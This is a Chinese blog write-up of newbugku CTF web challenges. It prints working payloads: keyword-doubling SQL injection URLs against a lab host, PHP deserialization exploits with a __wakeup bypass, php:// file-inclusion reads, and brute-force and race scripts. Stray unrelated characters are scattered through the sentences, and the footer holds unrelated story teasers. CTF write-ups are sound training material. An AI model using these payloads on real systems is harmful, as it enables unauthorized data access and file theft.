newbugku部分web題解

我的博客:https://yml-sec.top
有的圖片上傳失敗了析校,可以去我的博客看原文。

web1

題目代碼

5cc042e715786.png

看到extract函數(shù)侮腹,聯(lián)想到常見的變量覆蓋漏洞

根據(jù)我以前寫的文章

點擊鏈接

可以構(gòu)造$b為任意值,后面判斷了a和c是否相等,可以使用偽協(xié)議來做

18.jpg

web11

打開題目顯示如下

19.jpg

標(biāo)題為robots,嘗試訪問robots.txt几睛,訪問后提示我們shell.php

訪問shell.php

[圖片上傳失敗...(image-437e26-1556463025859)]

這塊校驗和西湖論劍的留言板題目很像,爆破腳本

import hashlib

def md5(key):
    m = hashlib.md5()
    m.update(key.encode('utf-8'))
    return m.hexdigest()

for i in range(1000000000):
    if md5(str(i))[0:6] == 'dc7dc4':
        print(i)
        break

結(jié)果如下

[圖片上傳失敗...(image-107f9a-1556463025859)]

輸入爆破出來的數(shù)字即可得到flag

22.jpg

web13

提交數(shù)據(jù)抓包粤攒,發(fā)現(xiàn)了base64加密的password

23.jpg

解密后是一個flag,但是提交發(fā)現(xiàn)并不正確所森,仔細(xì)觀察數(shù)據(jù)包會發(fā)現(xiàn)一個hint

Hint: Seeing is not believing, maybe you need to be faster!

嘗試將假flag中的字符串當(dāng)做密碼提交

[圖片上傳失敗...(image-de8877-1556463025859)]

提示我們要快一些,這樣寫腳本就可以了

import requests
import base64
import re
url = "http://123.206.31.85:10013/index.php"
s = requests.session()
html = s.post(url,data={"password":"123456"})
#print(html.text)
password1 = html.headers['password']
password2 = base64.b64decode(password1)
re_str = re.compile('flag{(.*?)}',re.S)
password = re.findall(re_str,str(password2))
print(password[0])
html = s.post(url,data={"password":password[0]})
print(html.text)
25.jpg

web18

題目是一道sql注入夯接,過濾了and or select union 這些可用雙寫繞過

判斷列數(shù)

http://123.206.31.85:10018/list.php?id=2' oorrder by 3--+

[圖片上傳失敗...(image-4d7008-1556463025859)]

在判斷為4時頁面無返回

所以我們得到列數(shù)為3

查詢數(shù)據(jù)庫名

http://123.206.31.85:10018/list.php?id=-2' uniounionn selecselectt 1,database(),3--+

[圖片上傳失敗...(image-4f7fe1-1556463025859)]

查詢表名

http://123.206.31.85:10018/list.php?id=-2' uniounionn selecselectt 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='web18'--+
29.jpg

查詢列名

http://123.206.31.85:10018/list.php?id=-2' uniounionn selecselectt 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='flag'--+
30.jpg

獲取flag

http://123.206.31.85:10018/list.php?id=-2' uniounionn selecselectt 1,flag,3 from flag--+

[圖片上傳失敗...(image-8c4766-1556463025859)]

web20

題目如下

32.jpg

常規(guī)編寫腳本即可焕济,key=密文

import requests
import re
while(1):
    url = "http://123.206.31.85:10020/"
    s = requests.session()
    html = s.get(url)
    re1 = re.compile('??(.*?)<br/>',re.S)
    result = re.findall(re1,html.text)
    url2 = url+"?key="+result[0]
    html1 = s.get(url2)
    print(html1.text)

有一點要注意,這題目的flag是有幾率出現(xiàn)的盔几,需要多跑幾次

[圖片上傳失敗...(image-a7d5c6-1556463025859)]

web25

web3

定位到上傳界面

[圖片上傳失敗...(image-95ffae-1556463025859)]

觀察鏈接聯(lián)想到文件包含漏洞晴弃,可以使用偽協(xié)議讀取

用掃描器掃描發(fā)現(xiàn)flag.php文件,開始利用偽協(xié)議讀取

[圖片上傳失敗...(image-a76a38-1556463025859)]

解密后得到flag

[圖片上傳失敗...(image-91bc21-1556463025859)]

web4

題目是一個登錄框,嘗試使用萬能密碼登錄

37.jpg

提交后竟然登錄成功上鞠。际邻。。旗国。枯怖。

38.jpg

web15

提示vim編輯器,想到臨時文件swp

輸入swp提交

40.jpg

將1改為i成功解出題目

[圖片上傳失敗...(image-dc4161-1556463025859)]

web22

web21

訪問題目查看源碼

[圖片上傳失敗...(image-cf963-1556463025859)]

讀取class.php的源碼

[圖片上傳失敗...(image-d284cb-1556463025859)]

<?php
error_reporting(E_ALL & ~E_NOTICE);
 
class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
?>

提示我們有f1a9.php能曾,這段代碼可用反序列化利用

<?php
error_reporting(E_ALL & ~E_NOTICE);
 
class Read{//f1a9.php
    public $file = "f1a9.php";
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
$a = new Read;
echo serialize($a);
?>

[圖片上傳失敗...(image-2384ba-1556463025859)]

最后payload

[圖片上傳失敗...(image-bf06d9-1556463025859)]

web23

題目主頁面如下

[圖片上傳失敗...(image-7742dc-1556463025859)]

使用掃面器掃出如下頁面

[圖片上傳失敗...(image-2857d9-1556463025859)]

readme.txt有如下提示

[圖片上傳失敗...(image-bd324e-1556463025859)]

用戶名是admin 密碼是三位數(shù)字度硝,我們可以用burp爆破

[圖片上傳失敗...(image-d4b986-1556463025859)]

成功登陸后得到flag

[圖片上傳失敗...(image-f29dbb-1556463025859)]

web7

注冊登陸后,提示權(quán)限不夠

50.jpg

嘗試抓包

51.jpg

看到u和r的前幾位是一樣的寿冕,后面不一樣的部分像是MD5加密后的字符串

在線解了一下

[圖片上傳失敗...(image-f1c710-1556463025859)]

嘗試把兩個部分都換成admin的MD5加密字符串

[圖片上傳失敗...(image-e8f8e2-1556463025859)]

得到FLAG

web12

題目如下

[圖片上傳失敗...(image-68716c-1556463025859)]

查看源碼

[圖片上傳失敗...(image-eddcb8-1556463025859)]

class Time{
    public $flag = ******************;
    public $truepassword = ******************;
    public $time;
    public $password ;
    public function __construct($tt, $pp) {
    $this->time = $tt;
    $this->password = $pp;
    }
    function __destruct(){
        if(!empty($this->password))
        {
            if(strcmp($this->password,$this->truepassword)==0){
                echo "<h1>Welcome,you need to wait......<br>The flag will become soon....</h1><br>";
                if(!empty($this->time)){
                    if(!is_numeric($this->time)){
                        echo 'Sorry.<br>';
                        show_source(__FILE__);
                    }
                    else if($this->time < 11 * 22 * 33 * 44 * 55 * 66){
                        echo 'you need a bigger time.<br>';
                    }
                    else if($this->time > 66 * 55 * 44 * 33 * 23 * 11){
                        echo 'you need a smaller time.<br>';
                    }
                    else{
                        sleep((int)$this->time);
                        var_dump($this->flag);
                    }
                    echo '<hr>';
                }
                else{
                    echo '<h1>you have no time!!!!!</h1><br>';
                }
            }
            else{
                echo '<h1>Password is wrong............</h1><br>';
            }
        }
        else{
            echo "<h1>Please input password..........</h1><br>";
        }
    }
    function __wakeup(){
        $this->password = 1; echo 'hello hacker,I have changed your password and time, rua!';
    }
}
if(isset($_GET['rua'])){
    $rua = $_GET['rua'];
    @unserialize($rua);
}
else{
    echo "<h1>Please don't stop rua 233333</h1><br>";
}

常規(guī)的反序列化操作蕊程,計算符合條件的時間

56.jpg

exp

<?php
class Time{
    public $time;
    public $password;
    public function __construct($tt, $pp) {
    $this->time = $tt;
    $this->password = $pp;
    }
}

$password = array(0=>'yml');
$time = '0x4c06f351';
$yml = new Time($time,$password);

echo serialize($yml);

?>

payload

57.jpg

繞過wakeup

O:4:"Time":3:{s:4:"time";s:10:"0x4c06f351";s:8:"password";a:1:{i:0;s:3:"yml";}}

得到flag

[圖片上傳失敗...(image-12bfae-1556463025859)]

web24

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市驼唱,隨后出現(xiàn)的幾起案子藻茂,更是在濱河造成了極大的恐慌,老刑警劉巖玫恳,帶你破解...
    沈念sama閱讀 217,826評論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件辨赐,死亡現(xiàn)場離奇詭異,居然都是意外死亡京办,警方通過查閱死者的電腦和手機掀序,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,968評論 3 395
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來惭婿,“玉大人不恭,你說我怎么就攤上這事〔萍ⅲ” “怎么了换吧?”我有些...
    開封第一講書人閱讀 164,234評論 0 354
  • 文/不壞的土叔 我叫張陵,是天一觀的道長钥星。 經(jīng)常有香客問我沾瓦,道長,這世上最難降的妖魔是什么谦炒? 我笑而不...
    開封第一講書人閱讀 58,562評論 1 293
  • 正文 為了忘掉前任贯莺,我火速辦了婚禮,結(jié)果婚禮上编饺,老公的妹妹穿的比我還像新娘乖篷。我一直安慰自己响驴,他們只是感情好透且,可當(dāng)我...
    茶點故事閱讀 67,611評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般秽誊。 火紅的嫁衣襯著肌膚如雪鲸沮。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,482評論 1 302
  • 那天锅论,我揣著相機與錄音讼溺,去河邊找鬼。 笑死最易,一個胖子當(dāng)著我的面吹牛怒坯,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播藻懒,決...
    沈念sama閱讀 40,271評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼剔猿,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了嬉荆?” 一聲冷哼從身側(cè)響起归敬,我...
    開封第一講書人閱讀 39,166評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎鄙早,沒想到半個月后汪茧,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,608評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡限番,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,814評論 3 336
  • 正文 我和宋清朗相戀三年舱污,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片扳缕。...
    茶點故事閱讀 39,926評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡慌闭,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出躯舔,到底是詐尸還是另有隱情驴剔,我是刑警寧澤,帶...
    沈念sama閱讀 35,644評論 5 346
  • 正文 年R本政府宣布粥庄,位于F島的核電站丧失,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏惜互。R本人自食惡果不足惜布讹,卻給世界環(huán)境...
    茶點故事閱讀 41,249評論 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望训堆。 院中可真熱鬧描验,春花似錦、人聲如沸坑鱼。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,866評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至呼股,卻和暖如春耕魄,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背彭谁。 一陣腳步聲響...
    開封第一講書人閱讀 32,991評論 1 269
  • 我被黑心中介騙來泰國打工吸奴, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人缠局。 一個月前我還...
    沈念sama閱讀 48,063評論 3 370
  • 正文 我出身青樓则奥,卻偏偏與公主長得像,于是被迫代替她去往敵國和親狭园。 傳聞我的和親對象是個殘疾皇子逞度,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,871評論 2 354